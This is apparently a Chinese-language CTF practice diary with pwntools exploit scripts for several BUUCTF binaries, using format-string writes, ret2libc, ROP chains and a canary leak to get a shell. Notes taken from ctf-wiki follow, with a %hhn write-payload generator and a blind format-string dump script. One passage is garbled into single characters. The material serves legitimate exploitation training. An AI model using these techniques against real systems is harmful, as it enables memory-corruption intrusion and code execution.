今天主要刷了点题,学到个格式化字符串泄漏cancary
fm
from pwn import *
#p = process('./main')
p = remote('node3.buuoj.cn',28633)
payload = '%4c%13$n' + p32(0x804a02c)
p.send(payload)
#print(p.recv())
p.interactive()
格式化字符串覆盖小数字
jarvisoj_tell_me_something
from pwn import *
p = remote('node3.buuoj.cn',26141)
payload = 'a' * (0x88) + p64(0x400620)
p.send(payload)
p.interactive()
没什么特别的就是基本rop
jarvisoj_level4
from pwn import *
p = remote('node3.buuoj.cn',26167)
elf = ELF('./main')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
payload1 = 'a' *(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.send(payload1)
sh = u32(p.recv(4))
print(hex(sh))
libcbase = sh - libc.sym['write']
sym_addr = libcbase + libc.sym['system']
sh_addr = libcbase + libc.search('/bin/sh').next()
payload2 = 'a' *(0x88+4) + p32(sym_addr) + p32(main_addr) + p32(sh_addr)
p.send(payload2)
p.interactive()
bjdctf_2020_babystack2
```from pwn import *
p = process('./main')
p = remote('node3.buuoj.cn',25899)
p.recvuntil('name:')
p.sendline('-1')
back_door = 0x400726
payload = 'a' * (0x10+8) + p64(back_door)
p.send(payload)
p.interactive()
jarvisoj_level3_x64
from pwn import *
p =process('./main')
libc =ELF('./libc6_2.23-0ubuntu10_amd64.so')
p = remote('node3.buuoj.cn',25740)
elf =ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
pop_rdi_addr = 0x4006b3
pop_rsi_addr = 0x4006b1
p.recvuntil(':\n')
#gdb.attach(p)
payload = 'a' *(0x80+8) + p64(pop_rdi_addr) + p64(1)+p64(pop_rsi_addr) + p64(write_got)+p64(8)+p64(write_plt) + p64(main_addr)
p.send(payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(leak))
libcbase = leak - libc.sym['write']
sym_addr = libcbase + libc.sym['system']
sh_addr = libcbase + libc.search('/bin/sh').next()
payload1 = 'a' *(0x80+8) + p64(pop_rdi_addr) + p64(sh_addr) + p64(sym_addr)
p.send(payload1)
p.interactive()
记住64位传参rdi rsi rdx…老是压栈艾。。。
picoctf_2018_rop chain
正如标题所说。。
from pwn import *
p = process('./main')
p = remote('node3.buuoj.cn',28603)
elf = ELF('./main')
w1_addr = 0x80485cb
w2_addr = 0x80485d8
flag_addr = 0x804862b
#gdb.attach(p)
main_addr = 0x8048714
payload = 'a'*(0x18+4) +p32(w1_addr) + p32(main_addr)
p.recvuntil('input> ')
p.sendline(payload)
payload2 = 'a'*(0x18 + 4) + p32(w2_addr) + p32(main_addr) + p32(0xbaaaaaad)
p.recvuntil('input> ')
p.sendline(payload2)
payload3 = 'a'*(0x18+4) + p32(flag_addr) + p32(main_addr) + p32(0xdeadbaad)
p.recvuntil('input> ')
p.sendline(payload3)
p.interactive()
bjdctf_2020_babyrop2
这道题让我学到很多
首先什么是canary保护,就是rbp前的一个数xor不为0就是栈溢出,而格式化字符串可以泄露这个数因此栈溢出
from pwn import *
p = remote('node3.buuoj.cn',29729)
#p = process('./main')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
elf = ELF('./main')
put_plt = elf.plt['puts']
put_got = elf.got['puts']
addr = 0x400887
payload = '%7$p'
p.recvuntil('help u!')
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print(hex(canary))
p.recvuntil('story!')
payload1 = p64(canary).rjust(0x20,'a')+'b'*8+p64(0x400993)+p64(put_got)+p64(put_plt) +p64(addr)
p.send(payload1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(leak))
libcbase = leak - libc.sym['puts']
sym_addr = libcbase + libc.sym['system']
sh_addr = libcbase + libc.search('/bin/sh').next()
payload2 = p64(canary).rjust(0x20,'a')+'b'*8+p64(0x400993)+p64(sh_addr)+p64(sym_addr) + p64(addr)
p.send(payload2)
p.interactive()
p.interactive()
ctf-wiki学习
利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
利用%s来获取变量所对应地址的内容,只不过有零截断。
利用%order
x
来
获
取
指
定
参
数
的
值
,
利
用
x来获取指定参数的值,利用%order
x来获取指定参数的值,利用s来获取指定参数对应地址的内容
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
覆盖内存
...[overwrite addr]....%[overwrite offset]$n
覆盖小数字
aa%k$nxx+地址
覆盖大数字
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
64位程序格式化字符串漏洞
感觉和32位没啥区别,只不过由于是寄存器传参gdb下调试后的位移加5
hijack GOT
这个之前做过,那时还不会。忘记是哪道题了,草。。
确定函数 A 的 GOT 表地址。
这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
确定函数 B 的内存地址
这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
将函数B的内存地址写入到函数 A 的 GOT 表地址处。
这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
写入函数:write 函数。
ROP
格式化字符串任意地址写
hijack retaddr
确定偏移
获取函数的 rbp 与返回地址
根据相对偏移获取存储返回地址的地址
将执行 system 函数调用的地址写入到存储返回地址的地址。
堆的没学还不会,之后在说
格式化字符串盲打
确定程序的位数
确定漏洞位置
利用
##coding=utf8
from pwn import *
##context.log_level = 'debug'
ip = "127.0.0.1"
port = 9999
def leak(addr):
# leak addr for three times
num = 0
while num < 3:
try:
print 'leak addr: ' + hex(addr)
sh = remote(ip, port)
payload = '%00008$s' + 'STARTEND' + p64(addr)
# 说明有\n,出现新的一行
if '\x0a' in payload:
return None
sh.sendline(payload)
data = sh.recvuntil('STARTEND', drop=True)
sh.close()
return data
except Exception:
num += 1
continue
return None
def getbinary():
addr = 0x400000
f = open('binary', 'w')
while addr < 0x401000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(data)
addr += len(data)
f.close()
getbinary()
ctf-wiki给的很多